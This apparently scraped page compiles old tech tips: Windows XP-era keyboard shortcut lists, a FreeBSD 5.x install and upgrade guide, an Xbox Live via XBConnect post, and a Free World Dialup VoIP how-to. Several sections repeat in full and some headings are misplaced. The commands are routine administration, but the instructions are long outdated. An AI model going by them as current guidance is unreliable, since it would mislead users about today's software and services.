SHIFT+F10 (Display the shortcut menu for the selected item)
ALT+SPACEBAR (Display the System menu for the active window)
CTRL+ESC (Display the Start menu)
ALT+Underlined letter in a menu name (Display the corresponding menu)
Underlined letter in a command name on an open menu (Perform the corresponding command)
F10 key (Activate the menu bar in the active program)
RIGHT ARROW (Open the next menu to the right, or open a submenu)
LEFT ARROW (Open the next menu to the left, or close a submenu)
F5 key (Update the active window)
BACKSPACE (View the folder one level up in My Computer or Windows Explorer)
ESC (Cancel the current task)
SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)
Dialog Box Keyboard Shortcuts
CTRL+TAB (Move forward through the tabs)
CTRL+SHIFT+TAB (Move backward through the tabs)
TAB (Move forward through the options)
SHIFT+TAB (Move backward through the options)
ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
ENTER (Perform the command for the active option or button)
SPACEBAR (Select or clear the check box if the active option is a check box)
Arrow keys (Select a button if the active option is a group of option buttons)
F1 key (Display Help)
F4 key (Display the items in the active list)
BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)
Microsoft Natural Keyboard Shortcuts
Windows Logo (Display or hide the Start menu)
Windows Logo+BREAK (Display the System Properties dialog box)
Windows Logo+D (Display the desktop)
Windows Logo+M (Minimize all of the windows)
Windows Logo+SHIFT+M (Restore the minimized windows)
Windows Logo+E (Open My Computer)
Windows Logo+F (Search for a file or a folder)
CTRL+Windows Logo+F (Search for computers)
Windows Logo+F1 (Display Windows Help)
Windows Logo+ L (Lock the keyboard)
Windows Logo+R (Open the Run dialog box)
Windows Logo+U (Open Utility Manager)
Accessibility Keyboard Shortcuts
Right SHIFT for eight seconds (Switch FilterKeys either on or off)
Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
SHIFT five times (Switch the StickyKeys either on or off)
NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
Windows Logo +U (Open Utility Manager)
Windows Explorer Keyboard Shortcuts
END (Display the bottom of the active window)
HOME (Display the top of the active window)
NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
NUM LOCK+Minus sign (-) (Collapse the selected folder)
LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
Shortcut Keys for Character Map
After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:
RIGHT ARROW (Move to the right or to the beginning of the next line)
LEFT ARROW (Move to the left or to the end of the previous line)
UP ARROW (Move up one row)
DOWN ARROW (Move down one row)
PAGE UP (Move up one screen at a time)
PAGE DOWN (Move down one screen at a time)
HOME (Move to the beginning of the line)
END (Move to the end of the line)
CTRL+HOME (Move to the first character)
CTRL+END (Move to the last character)
SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)
Microsoft Management Console (MMC) Main Window Keyboard Shortcuts
CTRL+O (Open a saved console)
CTRL+N (Open a new console)
CTRL+S (Save the open console)
CTRL+M (Add or remove a console item)
CTRL+W (Open a new window)
F5 key (Update the content of all console windows)
ALT+SPACEBAR (Display the MMC window menu)
ALT+F4 (Close the console)
ALT+A (Display the Action menu)
ALT+V (Display the View menu)
ALT+F (Display the File menu)
ALT+O (Display the Favorites menu)
MMC Console Window Keyboard Shortcuts
CTRL+P (Print the current page or active pane)
ALT+Minus sign (-) (Display the window menu for the active console window)
SHIFT+F10 (Display the Action shortcut menu for the selected item)
F1 key (Open the Help topic, if any, for the selected item)
F5 key (Update the content of all console windows)
CTRL+F10 (Maximize the active console window)
CTRL+F5 (Restore the active console window)
ALT+ENTER (Display the Properties dialog box, if any, for the selected item)
F2 key (Rename the selected item)
CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)
Remote Desktop Connection Navigation
CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
ALT+PAGE UP (Switch between programs from left to right)
ALT+PAGE DOWN (Switch between programs from right to left)
ALT+INSERT (Cycle through the programs in most recently used order)
ALT+HOME (Display the Start menu)
CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
ALT+DELETE (Display the Windows menu)
CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)
CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)
Microsoft Internet Explorer Navigation
CTRL+B (Open the Organize Favorites dialog box)
CTRL+E (Open the Search bar)
CTRL+F (Start the Find utility)
CTRL+H (Open the History bar)
CTRL+I (Open the Favorites bar)
CTRL+L (Open the Open dialog box)
CTRL+N (Start another instance of the browser with the same Web address)
CTRL+O (Open the Open dialog box, the same as CTRL+L)
CTRL+P (Open the Print dialog box)
CTRL+R (Update the current Web page)
CTRL+W (Close the current window)
General Keyboard Shortcuts
CTRL+C (Copy)
CTRL+X (Cut)
CTRL+V (Paste)
CTRL+Z (Undo)
DELETE (Delete)
SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
CTRL while dragging an item (Copy the selected item)
CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)
F2 key (Rename the selected item)
CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
CTRL+SHIFT with any of the arrow keys (Highlight a block of text)
SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)
CTRL+A (Select all)
F3 key (Search for a file or a folder)
ALT+ENTER (View the properties for the selected item)
ALT+F4 (Close the active item, or quit the active program)
ALT+ENTER (Display the properties of the selected object)
ALT+SPACEBAR (Open the shortcut menu for the active window)
CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)
ALT+TAB (Switch between the open items)
ALT+ESC (Cycle through items in the order that they had been opened)
F6 key (Cycle through the screen elements in a window or on the desktop)
F4 key (Display the Address bar list in My Computer or Windows Explorer)
SHIFT+F10 (Display the shortcut menu for the selected item)
ALT+SPACEBAR (Display the System menu for the active window)
CTRL+ESC (Display the Start menu)
ALT+Underlined letter in a menu name (Display the corresponding menu)
Underlined letter in a command name on an open menu (Perform the corresponding command)
F10 key (Activate the menu bar in the active program)
RIGHT ARROW (Open the next menu to the right, or open a submenu)
LEFT ARROW (Open the next menu to the left, or close a submenu)
F5 key (Update the active window)
BACKSPACE (View the folder one level up in My Computer or Windows Explorer)
ESC (Cancel the current task)
SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)
Dialog Box Keyboard Shortcuts
CTRL+TAB (Move forward through the tabs)
CTRL+SHIFT+TAB (Move backward through the tabs)
TAB (Move forward through the options)
SHIFT+TAB (Move backward through the options)
ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
ENTER (Perform the command for the active option or button)
SPACEBAR (Select or clear the check box if the active option is a check box)
Arrow keys (Select a button if the active option is a group of option buttons)
F1 key (Display Help)
F4 key (Display the items in the active list)
BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)
Microsoft Natural Keyboard Shortcuts
Windows Logo (Display or hide the Start menu)
Windows Logo+BREAK (Display the System Properties dialog box)
Windows Logo+D (Display the desktop)
Windows Logo+M (Minimize all of the windows)
Windows Logo+SHIFT+M (Restore the minimized windows)
Windows Logo+E (Open My Computer)
Windows Logo+F (Search for a file or a folder)
CTRL+Windows Logo+F (Search for computers)
Windows Logo+F1 (Display Windows Help)
Windows Logo+ L (Lock the keyboard)
Windows Logo+R (Open the Run dialog box)
Windows Logo+U (Open Utility Manager)
Accessibility Keyboard Shortcuts
Right SHIFT for eight seconds (Switch FilterKeys either on or off)
Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
SHIFT five times (Switch the StickyKeys either on or off)
NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
Windows Logo +U (Open Utility Manager)
Windows Explorer Keyboard Shortcuts
END (Display the bottom of the active window)
HOME (Display the top of the active window)
NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
NUM LOCK+Minus sign (-) (Collapse the selected folder)
LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
Shortcut Keys for Character Map
After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:
RIGHT ARROW (Move to the right or to the beginning of the next line)
LEFT ARROW (Move to the left or to the end of the previous line)
UP ARROW (Move up one row)
DOWN ARROW (Move down one row)
PAGE UP (Move up one screen at a time)
PAGE DOWN (Move down one screen at a time)
HOME (Move to the beginning of the line)
END (Move to the end of the line)
CTRL+HOME (Move to the first character)
CTRL+END (Move to the last character)
SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)
Microsoft Management Console (MMC) Main Window Keyboard Shortcuts
CTRL+O (Open a saved console)
CTRL+N (Open a new console)
CTRL+S (Save the open console)
CTRL+M (Add or remove a console item)
CTRL+W (Open a new window)
F5 key (Update the content of all console windows)
ALT+SPACEBAR (Display the MMC window menu)
ALT+F4 (Close the console)
ALT+A (Display the Action menu)
ALT+V (Display the View menu)
ALT+F (Display the File menu)
ALT+O (Display the Favorites menu)
MMC Console Window Keyboard Shortcuts
CTRL+P (Print the current page or active pane)
ALT+Minus sign (-) (Display the window menu for the active console window)
SHIFT+F10 (Display the Action shortcut menu for the selected item)
F1 key (Open the Help topic, if any, for the selected item)
F5 key (Update the content of all console windows)
CTRL+F10 (Maximize the active console window)
CTRL+F5 (Restore the active console window)
ALT+ENTER (Display the Properties dialog box, if any, for the selected item)
F2 key (Rename the selected item)
CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)
Remote Desktop Connection Navigation
CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
ALT+PAGE UP (Switch between programs from left to right)
ALT+PAGE DOWN (Switch between programs from right to left)
ALT+INSERT (Cycle through the programs in most recently used order)
ALT+HOME (Display the Start menu)
CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
ALT+DELETE (Display the Windows menu)
CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)
CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)
Microsoft Internet Explorer Navigation
CTRL+B (Open the Organize Favorites dialog box)
CTRL+E (Open the Search bar)
CTRL+F (Start the Find utility)
CTRL+H (Open the History bar)
CTRL+I (Open the Favorites bar)
CTRL+L (Open the Open dialog box)
CTRL+N (Start another instance of the browser with the same Web address)
CTRL+O (Open the Open dialog box, the same as CTRL+L)
CTRL+P (Open the Print dialog box)
CTRL+R (Update the current Web page)
CTRL+W (Close the current window)
Freebsd Install Guide
A step-by-step guide to installing FreeBSD 5. It assumes moderate experience with linux and leaves you with a fully updated FreeBSD system.
FreeBSD Installation
A. 5.x vs 4.x
The first thing to understand about FreeBSD is that there are two lines of development. The -STABLE branch is marked with a 4.x version number and the most recent version is 4.10. It is well tested and very solid, but does not include the most recent technology. The -CURRENT branch, marked with a 5.x version, is the “unstable” branch. However, it is nicely stable at the moment and is coming along quite well. Most users should go with 5.x and these instructions are only valid for that tree.
NOTE: DragonFlyBSD ( www.dragonflybsd.org ) is a continuation of the 4.x line. It uses lock-less (no mutexes) SMP support and a Light Weight Kernel Threading system. It has a lot of promise and is developing at a breakneck pace, but it should still be thought of as “R/D.”
B. Getting Media
I am not going to say much about this. There are links to various ftp mirrors at www.freebsd.org and the directory structure is fairly self-explanatory. There are however several choices for ISO. You should choose the miniinst ISO. It is small and will include everything you need for the base system.
C. Starting Installation
After, the CD boots up you will enter the...ahh.....majestic sysinstall. You can safely ignore most of the options and just choose a standard installation. Most of the install process is pretty easy and anyone who has some experience with linux or unix will be able to handle it without much stress. However, creating partitions and dealing with drives will seem very odd to your standard linux user.
D. Hard Disc Management in FreeBSD
Ok, the first thing to get used to here is that IDE drives are not hda, hdb...etc. They are ad0, ad1 and so forth. SCSI discs are da0, da1...and so on. There is one other thing that is going to freak some people out. You create slices, not partitions, on the disc and then create partitions within those slices. For example, the first partition in the first slice on the first IDE disc would be ad0s1a. Just accept it.
E. Partitioning
Sysinstall will lead you through the partitioning and its fairly easy to understand. The first part will ask you to choose a disc or discs to partition and then will show you a "slice editor." This is where you will create your slice. I advise you to only make one. While multiple slices are easy to deal with, it just adds complication. If this is not your first installation of a BSD type OS, then you can ignore me and why are you reading this again?
After creating your slice, you will be prompted to choose the drive(s) to install an MBR on. The FreeBSD boot loader is nothing to write home about, but it tends towards working. After this step, you can create partitions. There is not much to say here. At the top of the screen it will show your slice(s) and when one of them is selected you can use the controls to create a partition on it. You will need at least a root and swap partition. On the non-swap partitions it is usually a good idea to enable soft-updates.
F. Distribution Sets
This is a simple section, select minimal.
G. Continue Installation
The rest of this is pretty simple. Make sure you install from the CD and not the Internet. The bulk of the install is now done. After it copies files to your disc, it will start the configuration process. This is all pretty self-evident, but there are a couple things you should know.
Network Configuration
Don't be scared by the names, in *BSD devices are named after their drivers. There is also a short description after the name, so you should be able to choose the right one. The rest of the network config is easy, just follow the prompts.
System Console Configuration
You can pretty much ignore this, you may want to look around for your own knowledge and of course you could pick a nice screen saver here, but other then that I would leave it alone for now.
Time Zone
All I have to say here is that if you live in the US, after you choose “America – North and South” hit the end key. The US is at the bottom of the list and hitting end is the quickest way there.
Linux
Say no, we will do this later and with an updated linux_base.
Mouse
OK, welcome to the wonderful and amazing world of moused. Answer the first question truthfully, and then you can tweak the settings in the “Please configure your mouse” dialog. Whatever you do, be sure to enable the daemon. Also, for most users that is all you will have to do. You can safely ignore the other options.
Package Installation
At this point, the installer will ask you to install binary packages. Say no. These binaries are out of date and not included on our CD.
Of users and roots
This isn't the most thrilling section, add a user when it asks you to and set a root password after that. The only thing I have to say about this process is when the new user dialog comes up leave the “Group:” box unchanged and add “wheel” to the Member groups. You also might want to set your shell to /bin/tcsh. As for setting the root password, if you can't handle that we have bigger problems.
Rebooting
Ok, next it will ask if you would like to visit the general config area. Select no and you will be brought back to the main menu. Exit the install, reboot without the CD in and enjoy the boot messages.
H. The Real Post-Install
At this point, I am going to assume that you are now looking at a login prompt and thinking “my my...FreeBSD boots quite quickly doesn't it.” Well, our task is not done yet...there is a reason we did a minimal install. We are going to do most of it ourselves. First, lets upgrade to -CURRENT. This isn't a practice I would usually recommend, but 5.x is close to being tagged stable and -CURRENT is rather solid at the moment. First, I need to explain how things are done in the BSD world.
Sup?
CVS up; you up; we all CVSUP. Cvsup is a very interesting program that I am not going to explain in detail here. All you really need to know is that it updates source trees. You see, that is the thing. You may be used to /usr/src not doing much. In BSD it has a job, it holds the source for the entire base system. However, we did a minimal install and no source is there. It wouldn't be up2date anyway. So, lets fix that. Login as root and type the following: pkg_add -r cvsup-without-gui
pkg_add is the binary installer for FreeBSD and the -r argument tells it to fetch binaries from the net. It will also fetch any deps that you might need. Switch to another console while this is happening and login as root. Do the following:
cd /etc
cp /usr/share/examples/etc/make.conf /etc/make.conf
cp /usr/share/examples/cvsup/standard-supfile /usr
cp /usr/share/examples/cvsup/ports-supfile /usr
chmod u+w /etc/make.conf /usr/standard-supfile /usr/ports-supfile
What was that? Well here is the rundown. Make.conf is the file that controls the building of programs from source on FreeBSD and the supfiles tell cvsup where to get the source for the base system and the ports system, also where to put said source. They come out of /usr/share/examples without the write bit set and that gets annoying. So we set that. Now switch back to the first console and type rehash. This tells tcsh to check its path for new programs. Now, edit the standard supfile that is in /usr. You can either use ee or vi. I like vi. Scroll down to the line that looks a bit odd. It will be something like:
*default host=CHANGE_THIS.FreeBSD.org
The “CHANGE_THIS” is where you put what cvsup server to use. Choose a number between 1 and 9, like 4, and put cvsup4 where CHANGE_THIS is. So it would end up being:
*default host=cvsup4.FreeBSD.org
Now exit your editor and run cvsup /usr/standard-supfile
If everything goes correctly, you will see a lot of text scrolling on the screen. If it says something about a bad connection, try another number.
Make.conf
Now 'tis the time for all good men (and women) to edit their make.conf . This is not difficult, in fact have a look around the file. It may be long, but it is pretty simple. Now, uncomment the CPU setting and the CFLAGS setting. Set the CPU to your CPU (there will be a list in the comments above the setting) and set the CFLAGS to -O2. (NOTE: If the base system fails to build, downgrade your CFLAGS back to -O).
Build Your World
When CVSUP finishes (it will be awhile...go get some coffee), cd to /usr/src and run make buildworld. That command will do exactly what it sounds like. It builds your world, or base system. While its doing that, lets get you a kernel. First, cd to /usr/src/sys/i386/conf then cp GENERIC to some file of your choosing. Any name you want. However, be aware that this is going to show up in a uname -a. Now, crack open your new file and take a look at what a FreeBSD kernel config is like. There are many things you can do here that will improve performance and subtract in size. However, lets keep it simple. Near the top of the file will be the name GENERIC. Change that to your new name. You can now look through the file and you will find several sections that are just for debugging. These will indeed add size and slow down the kernel a bit, but I would leave them for now. Go to the end of the file and make a new line. Add the following:
device pcm
This will add sound support to the kernel. Be aware that you don't need to do this, you can load binary modules at boot or after boot, but this way is easy and sound is used often. Save the file and exit. Go back to your buildworld console and when its done execute make buildkernel KERNCONF=YOUR_KERNEL_CONFIG_NAME
NOTE: NOT THE PATH OF THE KERNEL CONFIG..it knows to look in /usr/src/sys/i386/conf
Installing Your World
This isn't that difficult. First run make installkernel KERNCONF= your config name. Now here is the interesting part. Run mergemaster -p, this program looks through your etc and updates it to match the new /etc in /usr/src. It will display changed files to you, press q and it will give you options. Something like i (install), m (merge) etc. Pick merge and it will open a nice little screen that shows you one file on the right and one on the left. It will go section by section, showing the areas that have changed. Press r or l to choose which section to keep. Its pretty easy to see which section has new stuff and which does not. After the merge, it will prompt you with options for the newly merged file. One of these will be install and this is the one you want. In the latest current, most of what you will be showed is user and group files. Make sure you do select the sections with the new users and groups. After this is done, it will ask you a couple questions that you can say yes to. Now that your /etc is updated run make installworld then reboot.
NOTE: You usually don't need to run mergemaster. However, 5.2.1 is a pretty old release and -CURRENT has come a long way.
I. Ports
Welcome to running current. The rest is easy. cd back to /usr and edit the ports supfile the same way you did the standard one. Run cvsup on it and wait. After its done, you will have a full ports tree. There is not much left to say. You now have a working system and a fully updated one too. To install software from ports cd to /usr/ports/category/softwarename/ and run make install clean . If you want linux binary support, install the linux_base port. To find where it is cd to /usr/ports and run make search name=linux_base | less . Enable loading the kernel modules for linux binary support by editing /etc/rc.conf. Just add the line linux_enable="YES" to the file and your set. If this is a desktop system, I would recommend installing /usr/ports/x11/xorg and your choice of /usr/ports/x11/gnome2 or kde3. Have fun .
Get it from:
http://www.madpenguin.org/cms/?m=show&id=1853
FreeBSD Installation
A. 5.x vs 4.x
The first thing to understand about FreeBSD is that there are two lines of development. The -STABLE branch is marked with a 4.x version number and the most recent version is 4.10. It is well tested and very solid, but does not include the most recent technology. The -CURRENT branch, marked with a 5.x version, is the “unstable” branch. However, it is nicely stable at the moment and is coming along quite well. Most users should go with 5.x and these instructions are only valid for that tree.
NOTE: DragonFlyBSD ( www.dragonflybsd.org ) is a continuation of the 4.x line. It uses lock-less (no mutexes) SMP support and a Light Weight Kernel Threading system. It has a lot of promise and is developing at a breakneck pace, but it should still be thought of as “R/D.”
B. Getting Media
I am not going to say much about this. There are links to various ftp mirrors at www.freebsd.org and the directory structure is fairly self-explanatory. There are however several choices for ISO. You should choose the miniinst ISO. It is small and will include everything you need for the base system.
C. Starting Installation
After, the CD boots up you will enter the...ahh.....majestic sysinstall. You can safely ignore most of the options and just choose a standard installation. Most of the install process is pretty easy and anyone who has some experience with linux or unix will be able to handle it without much stress. However, creating partitions and dealing with drives will seem very odd to your standard linux user.
D. Hard Disc Management in FreeBSD
Ok, the first thing to get used to here is that IDE drives are not hda, hdb...etc. They are ad0, ad1 and so forth. SCSI discs are da0, da1...and so on. There is one other thing that is going to freak some people out. You create slices, not partitions, on the disc and then create partitions within those slices. For example, the first partition in the first slice on the first IDE disc would be ad0s1a. Just accept it.
E. Partitioning
Sysinstall will lead you through the partitioning and its fairly easy to understand. The first part will ask you to choose a disc or discs to partition and then will show you a "slice editor." This is where you will create your slice. I advise you to only make one. While multiple slices are easy to deal with, it just adds complication. If this is not your first installation of a BSD type OS, then you can ignore me and why are you reading this again?
After creating your slice, you will be prompted to choose the drive(s) to install an MBR on. The FreeBSD boot loader is nothing to write home about, but it tends towards working. After this step, you can create partitions. There is not much to say here. At the top of the screen it will show your slice(s) and when one of them is selected you can use the controls to create a partition on it. You will need at least a root and swap partition. On the non-swap partitions it is usually a good idea to enable soft-updates.
F. Distribution Sets
This is a simple section, select minimal.
G. Continue Installation
The rest of this is pretty simple. Make sure you install from the CD and not the Internet. The bulk of the install is now done. After it copies files to your disc, it will start the configuration process. This is all pretty self-evident, but there are a couple things you should know.
Network Configuration
Don't be scared by the names, in *BSD devices are named after their drivers. There is also a short description after the name, so you should be able to choose the right one. The rest of the network config is easy, just follow the prompts.
System Console Configuration
You can pretty much ignore this, you may want to look around for your own knowledge and of course you could pick a nice screen saver here, but other then that I would leave it alone for now.
Time Zone
All I have to say here is that if you live in the US, after you choose “America – North and South” hit the end key. The US is at the bottom of the list and hitting end is the quickest way there.
Linux
Say no, we will do this later and with an updated linux_base.
Mouse
OK, welcome to the wonderful and amazing world of moused. Answer the first question truthfully, and then you can tweak the settings in the “Please configure your mouse” dialog. Whatever you do, be sure to enable the daemon. Also, for most users that is all you will have to do. You can safely ignore the other options.
Package Installation
At this point, the installer will ask you to install binary packages. Say no. These binaries are out of date and not included on our CD.
Of users and roots
This isn't the most thrilling section, add a user when it asks you to and set a root password after that. The only thing I have to say about this process is when the new user dialog comes up leave the “Group:” box unchanged and add “wheel” to the Member groups. You also might want to set your shell to /bin/tcsh. As for setting the root password, if you can't handle that we have bigger problems.
Rebooting
Ok, next it will ask if you would like to visit the general config area. Select no and you will be brought back to the main menu. Exit the install, reboot without the CD in and enjoy the boot messages.
H. The Real Post-Install
At this point, I am going to assume that you are now looking at a login prompt and thinking “my my...FreeBSD boots quite quickly doesn't it.” Well, our task is not done yet...there is a reason we did a minimal install. We are going to do most of it ourselves. First, lets upgrade to -CURRENT. This isn't a practice I would usually recommend, but 5.x is close to being tagged stable and -CURRENT is rather solid at the moment. First, I need to explain how things are done in the BSD world.
Sup?
CVS up; you up; we all CVSUP. Cvsup is a very interesting program that I am not going to explain in detail here. All you really need to know is that it updates source trees. You see, that is the thing. You may be used to /usr/src not doing much. In BSD it has a job, it holds the source for the entire base system. However, we did a minimal install and no source is there. It wouldn't be up2date anyway. So, lets fix that. Login as root and type the following: pkg_add -r cvsup-without-gui
pkg_add is the binary installer for FreeBSD and the -r argument tells it to fetch binaries from the net. It will also fetch any deps that you might need. Switch to another console while this is happening and login as root. Do the following:
cd /etc
cp /usr/share/examples/etc/make.conf /etc/make.conf
cp /usr/share/examples/cvsup/standard-supfile /usr
cp /usr/share/examples/cvsup/ports-supfile /usr
chmod u+w /etc/make.conf /usr/standard-supfile /usr/ports-supfile
What was that? Well here is the rundown. Make.conf is the file that controls the building of programs from source on FreeBSD and the supfiles tell cvsup where to get the source for the base system and the ports system, also where to put said source. They come out of /usr/share/examples without the write bit set and that gets annoying. So we set that. Now switch back to the first console and type rehash. This tells tcsh to check its path for new programs. Now, edit the standard supfile that is in /usr. You can either use ee or vi. I like vi. Scroll down to the line that looks a bit odd. It will be something like:
*default host=CHANGE_THIS.FreeBSD.org
The “CHANGE_THIS” is where you put what cvsup server to use. Choose a number between 1 and 9, like 4, and put cvsup4 where CHANGE_THIS is. So it would end up being:
*default host=cvsup4.FreeBSD.org
Now exit your editor and run cvsup /usr/standard-supfile
If everything goes correctly, you will see a lot of text scrolling on the screen. If it says something about a bad connection, try another number.
Make.conf
Now 'tis the time for all good men (and women) to edit their make.conf . This is not difficult, in fact have a look around the file. It may be long, but it is pretty simple. Now, uncomment the CPU setting and the CFLAGS setting. Set the CPU to your CPU (there will be a list in the comments above the setting) and set the CFLAGS to -O2. (NOTE: If the base system fails to build, downgrade your CFLAGS back to -O).
Build Your World
When CVSUP finishes (it will be awhile...go get some coffee), cd to /usr/src and run make buildworld. That command will do exactly what it sounds like. It builds your world, or base system. While its doing that, lets get you a kernel. First, cd to /usr/src/sys/i386/conf then cp GENERIC to some file of your choosing. Any name you want. However, be aware that this is going to show up in a uname -a. Now, crack open your new file and take a look at what a FreeBSD kernel config is like. There are many things you can do here that will improve performance and subtract in size. However, lets keep it simple. Near the top of the file will be the name GENERIC. Change that to your new name. You can now look through the file and you will find several sections that are just for debugging. These will indeed add size and slow down the kernel a bit, but I would leave them for now. Go to the end of the file and make a new line. Add the following:
device pcm
This will add sound support to the kernel. Be aware that you don't need to do this, you can load binary modules at boot or after boot, but this way is easy and sound is used often. Save the file and exit. Go back to your buildworld console and when its done execute make buildkernel KERNCONF=YOUR_KERNEL_CONFIG_NAME
NOTE: NOT THE PATH OF THE KERNEL CONFIG..it knows to look in /usr/src/sys/i386/conf
Installing Your World
This isn't that difficult. First run make installkernel KERNCONF= your config name. Now here is the interesting part. Run mergemaster -p, this program looks through your etc and updates it to match the new /etc in /usr/src. It will display changed files to you, press q and it will give you options. Something like i (install), m (merge) etc. Pick merge and it will open a nice little screen that shows you one file on the right and one on the left. It will go section by section, showing the areas that have changed. Press r or l to choose which section to keep. Its pretty easy to see which section has new stuff and which does not. After the merge, it will prompt you with options for the newly merged file. One of these will be install and this is the one you want. In the latest current, most of what you will be showed is user and group files. Make sure you do select the sections with the new users and groups. After this is done, it will ask you a couple questions that you can say yes to. Now that your /etc is updated run make installworld then reboot.
NOTE: You usually don't need to run mergemaster. However, 5.2.1 is a pretty old release and -CURRENT has come a long way.
I. Ports
Welcome to running current. The rest is easy. cd back to /usr and edit the ports supfile the same way you did the standard one. Run cvsup on it and wait. After its done, you will have a full ports tree. There is not much left to say. You now have a working system and a fully updated one too. To install software from ports cd to /usr/ports/category/softwarename/ and run make install clean . If you want linux binary support, install the linux_base port. To find where it is cd to /usr/ports and run make search name=linux_base | less . Enable loading the kernel modules for linux binary support by editing /etc/rc.conf. Just add the line linux_enable="YES" to the file and your set. If this is a desktop system, I would recommend installing /usr/ports/x11/xorg and your choice of /usr/ports/x11/gnome2 or kde3. Have fun .
Get it from:
http://www.madpenguin.org/cms/?m=show&id=1853
Free World Dialup
Anyone here think about getting xbox live but not have enough money to pay for the starter kit...
WELL GUESS WHAT!!!!!!!!
You can now get it without paying a cent (that is if you have a free 2 month trial)
First go to http://www.xbconnect.com/downloads.php and download the current version of XBConnect...
Secondly you must get a Ethernet cable and connect your X-BOX to your router (if you have, you MUST have one BTW)
Thirdly install and open xbconnect. Create a new account .......
Fourthly go on www.xbox.com/live and sign in your .NET passport and create a profile for xbox live
Fifthly open your xbox with a xbox live supported game and follow the setup for xbox live ....
And YOUR DONE!!!!!
WELL GUESS WHAT!!!!!!!!
You can now get it without paying a cent (that is if you have a free 2 month trial)
First go to http://www.xbconnect.com/downloads.php and download the current version of XBConnect...
Secondly you must get a Ethernet cable and connect your X-BOX to your router (if you have, you MUST have one BTW)
Thirdly install and open xbconnect. Create a new account .......
Fourthly go on www.xbox.com/live and sign in your .NET passport and create a profile for xbox live
Fifthly open your xbox with a xbox live supported game and follow the setup for xbox live ....
And YOUR DONE!!!!!
Free Hosting
Free World Dialup
Free World Dialup - http://www.freeworlddialup.com/
"Use FWD to make real, free phone calls using your favorite telephone, computer or PDA and any broadband connection. Call your neighbor or a relative, next door or in another country; all with the same ease, speed, and high quality." Thanks to Jeff Pulver and his crew!
Quick summary:
1 - First, got to http://www.freeworlddialup.com and sign up to get your FWD # and password.
2 - Download http://brands.xten.net/x-litefwd/download/X-LiteFWD_Install.exe FWD/X-Lite ("self-configures") program or go to http://www.myphonebooth.com/ to call any FWD # and U.S. toll free #s using Internet Explorer (Firefox not supported).
Quickstart Guide: http://www.freeworlddialup.com/support/quick_start_guide
FWD Xlite Configuration Guide: http://www.freeworlddialup.com/support/configuration_guide/configure_your_fwd_certified_phone/fwd_xlite/all
MS Windows Messenger Configuration Guide: http://pulver.com/fwd/fwd30news.html#messenger (FWD supports Windows Messenger 4.6/4.7 but not MSN Messenger 5.x.)
3 - To call a U.S. landline/cell #, dial *+arecode+7digit#. (This FWD feature is not listed on their website, but has been working for several months now.)
4 - To call a FWD # from a PSTN (your regular phone), click
http://www.dslreports.com/r0/download/476274~3ccc4c9edbe2a596714a4fd9da897204/fwdaccessnumbers.zip or after you've signed up go to FWD web page, click on "Features", "Access #s" for a list of FWD access numbers in your area. Available in several states in the U.S., UK, NL and DE at this time.
Packet8:
-- To call a P8 phone # from a FWD phone: Dial **898 + 1 + P8 number to be routed to P8 service.
-- To call a FWD # from a P8 phone:
*If the FWD # you are calling contains 5 digits, start to dial with the prefix 0351. For example: 035112345
*If the FWD # you are calling contains 6 digits, start to dial with the prefix 0451.
Call UK:
Get a UK telephone # that will call you on your FWD #. Register http://fwd.calluk.com.
FWD Features: Some features like Voice email needs to be activated at http://www.fwdnet.net
Internet Calling
Call Waiting
CallerID
Missed Call notification
Call Forwarding
Call Transfer
Three Way Calling
Voice email
SoftPhone, IP Phones & *Web-based
Aliases
Whitepages directory
ENUM Entry
eDial SOAP
Conferencing
Instant Messaging
Web Calling/FWD-Talk
Corporate Cisco Call Manager Connection
Calling to Toll Free Numbers in the UK, US, NL, JP and FR TellMe Service (411).
